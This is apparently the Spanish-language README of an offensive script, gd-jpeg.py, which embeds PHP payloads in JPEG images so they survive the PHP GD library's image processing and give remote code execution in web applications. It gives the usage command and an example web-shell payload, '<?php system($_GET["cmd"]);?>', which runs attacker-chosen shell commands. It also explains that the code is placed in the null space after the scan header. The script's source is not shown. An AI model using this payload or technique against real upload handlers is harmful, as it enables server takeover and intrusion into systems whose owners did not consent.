
Inyecta cargas útiles PHP en imágenes JPEG para la explotación de aplicaciones web, eludiendo el procesamiento de imágenes de la librería GD para lograr la ejecución remota de código.
Inyecta cargas útiles de php en imágenes jpeg. Relacionado con esta publicación.
Tienes una aplicación web que procesa una imagen jpeg a través de la librería gráfica GD de PHP.
Este script inyecta código PHP en una imagen jpeg especificada. La aplicación web ejecutará la carga útil si interpreta la imagen. ¡Asegúrate de que tu jpeg de entrada no esté comprimido!
python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]
p. ej. python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
El código PHP se inyecta en el espacio nulo/basura (marrón) después del encabezado de escaneo:
El nuevo jpeg infectado se procesa a través de la librería gd de PHP. PHP interpreta la carga útil inyectada en el jpeg y la ejecuta.